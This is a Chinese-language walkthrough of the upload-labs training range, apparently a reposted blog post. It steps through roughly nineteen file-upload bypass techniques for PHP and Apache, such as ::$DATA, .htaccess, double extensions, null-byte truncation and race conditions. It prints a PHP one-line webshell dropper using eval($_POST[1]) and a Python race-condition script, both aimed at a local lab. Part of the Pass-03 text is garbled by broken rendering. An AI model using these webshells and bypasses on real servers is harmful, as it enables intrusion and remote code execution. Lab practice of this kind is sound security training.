upload.test

Pass-01

洗掉check方法return checkFile() 如果瀏覽器不允許修改前端代碼,就使用抓包工具修改
然后上傳一句話木馬
Pass-02
后端校驗content-type


把typege更改成image/jpeg
Pass-03
php:: D A T A 相 當 于 1. p h p 2. p h p : a . j p g 會 生 成 2. p h p 但 內 容 是 在 我 們 2. p h p : a . j p g 中 ( 不 用 這 個 ) 雙 寫 : : DATA 相當于1.php 2.php:a.jpg 會生成2.php 但內容是在我們2.php:a.jpg中(不用這個) 雙寫:: DATA相當于1.php2.php:a.jpg會生成2.php但內容是在我們2.php:a.jpg中(不用這個)雙寫::DATA-> :: D A T : : DAT:: DAT::DATAA,因為會去掉一個

AddType application/x-httpd-php .php .phtml 決議.phtml和php后綴
創建這個檔案先上傳這個

然后再把1.php的檔案名更改為phtml 再上傳就可以了
Pass-04
雙寫::$DATA同樣可以使用
htaccess檔案 AddType application/x-httpd-php .jpg 決議jpg圖片
更改1.php的檔案名為1.jpg 上傳就行了
利用apache決議:從后往前決議,遇到決議不出來的后綴會像前決議 1.php.xxx xxx代表不存在決議名稱
更改1.php的檔案名為1.php.abc
Pass-05
雙寫::$DATA同樣可以使用
利用apache決議:從后往前決議,遇到決議不出來的后綴會像前決議 1.php.xxx xxx代表不存在決議名稱
更改1.php的檔案名為1.php.abc 這個是有條件的,如果不能決議shell.php.xxx ,說明httpd.conf 中沒有增加 .php 決議
需要在httpd.conf中加入:
AddType application/x-httpd-php .php

1.php. .也可以
Pass-06
使用burp爆破,嘗試各種后綴名,最后發現 phP、Php、php1、php7等沒有被限制(注意:爆破只能是字母加數字,特殊符號會被url編碼導致檔案名后綴錯誤)
那么可以上傳一個 1.phP ,因為windows下面可以忽略大小寫,所以可以執行這個php檔案,如果在linux下不能運行
雙寫::$DATA同樣可以使用
Pass-07
雙寫::$DATA同樣可以使用
從原始碼中看出,沒有對檔案后綴的空格進行過濾,所以可以在1.php 后面加一個空格,可以使用burp抓包后修改后綴名
注意:在windows下可以執行,因為windows會忽略后綴的空格,在linux下不可以
Pass-08
這一關過濾了所有的后綴名,然后去除了首尾空格,我們發現可以在檔案末尾加 點號. 繞過,然后在windows中如果執行末尾為點號的,會將點號去除
可以使用 shell.php.abc ,從右往左不能決議abc,就去決議php,按照php執行
雙寫::$DATA同樣可以使用
Pass-09
沒有過濾data 1.php::$DATA就可以了
Pass-10
雙寫::$DATA同樣可以使用
php 抓包修改為 1.php. .
更改1.php的檔案名為1.php.abc
Pass-11
沒有過濾data 1.php::$DATA就可以了
雙寫繞過 1.pphphp 但是切記不能phphpp 因為會把前面的php去掉
Pass-12
后端采用白名單判斷,但圖片的路徑是直接拼接出,例如:
$img_path =
G
E
T
[
′
s
a
v
e
p
a
t
h
′
]
.
"
/
"
.
r
a
n
d
(
10
,
99
)
.
d
a
t
e
(
"
Y
m
d
H
i
s
"
)
.
"
.
"
.
_GET['save_path']."/".rand(10, 99).date("YmdHis").".".
G?ET[′savep?ath′]."/".rand(10,99).date("YmdHis").".".file_ext;
可以利用%00截斷繞過(傳入save_path 引數時加上),但是有條件
1、必須php的版本小于5.3.4
2、php的magic_quotes_gpc為off的狀態
繞過:首先抓包修改name=1.jpg 型別改為:Content-type:image/jpeg
然后修改sava_path, 加上 /1.php/%00
注意:可以使用 /1.php%00 (不加/)
最后使用1.php訪問頁面



刪掉后面的就可以了 然后出來的是一個空白的頁面,但是是成功了的,上傳POST引數就行了
Post-13
和pass-12類似,也是00截斷
但是這里是POST傳值,不能直接對%00進行解碼
可通過burp抓包后在 …/upload/1.php+ 后面增加一個+號,然后在hex中,將+對應的hex 2b 更改為00,就可以了


在hex里面把+號的2b改成了00


然后同上
Post-14

上傳加了木馬的圖片后,點擊這里,然后

這個是因為路徑錯了

這樣就可以了
Post-15
和post-14一模一樣的操作,
還可以繞過檔案頭檢查,添加GIF圖片的檔案頭GIF89a,繞過GIF圖片檢查,
Post-16
原始碼錯了
Post-17
重新渲染了圖片,我們可以先上傳一張,成功后下載,在HXD軟體上對比,看有什么地方沒有被渲染更改,然后再其中寫入一句話木馬

然后再上傳就好了
Post-18
條件競爭

寫一個木馬 18.php
<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>
木馬上傳成功的話,會輸出一個1 并創建一個shell.php 里面寫入一句話木馬
寫一個exp.py的腳本用來觸發18.php并驗證是否成功插入
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload/18.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print( "OK")
break
except Exception as e:
pass
i+=1
main()
requests.get后面跟檔案的路徑
c4ca4238a0b923820dcc509a6f75849b=1

發送到這里,清除所有$,因為要一直發送完整的包,趁系統沒注意插進去



腳本跑起來后,開始攻擊,如果python沒有安裝requests模塊,可以用pip install requests 安裝


最后訪問shell.php的位置 空白
再輸入post引數 1=phpinfo();驗證成功
Post-19
條件競爭,首先分析原始碼
這里是部分代碼
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '檔案已經被上傳,但沒有重命名,';
break;
case -1:
$msg = '這個檔案不能上傳到服務器的臨時檔案存盤目錄,';
break;
case -2:
$msg = '上傳失敗,上傳目錄不可寫,';
break;
case -3:
$msg = '上傳失敗,無法上傳該型別檔案,';
break;
case -4:
$msg = '上傳失敗,上傳的檔案過大,';
break;
case -5:
$msg = '上傳失敗,服務器已經存在相同名稱檔案,';
break;
case -6:
$msg = '檔案無法上傳,檔案不能復制到目標目錄,';
break;
default:
$msg = '未知錯誤!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};

審計后,發現檔案的白名單有這些,發現代碼不全,于是乎,我打開完整的代碼開始審計

發現19關檔案上傳保存的地址為空,也就是說保存在與upload同級的目錄下,而不是和18關保存在upload里面一樣


根據這行代碼可知,最后檔案名字會被改成8個隨機字母

這是檢查檔案后綴名的定義函式

在上傳檔案后,會立馬有一個在檔案名前面加一個upload的操作

根據代碼運行邏輯可知,如果檔案型別不通過,根本不會執行后面的移動檔案,所以就沒有機會了,也不能上傳檔案包含,所以只能通過白名單,瀏覽器遇到不能決議的后綴時,會向前決議,經過嘗試后,發現只有 7z結尾的后綴不會被決議,所以嘗試上傳1.php.7z 上傳成功,但是檔案里的php后綴會被洗掉,所以得利用條件競爭,在重命名前執行木馬,接下來就是寫一個19.php.7z
<?php
echo md5(1);
fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
?>
再寫一個19.py
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/labs/upload-labs-master/upload19.php.7z")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print( "OK")
break
except Exception as e:
pass
i+=1
main()
然后執行和18關一樣的操作,最后成功!

最后通過shell工具連接就行

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293883.html
標籤:其他
上一篇:網路安全行業真的內卷了嗎?
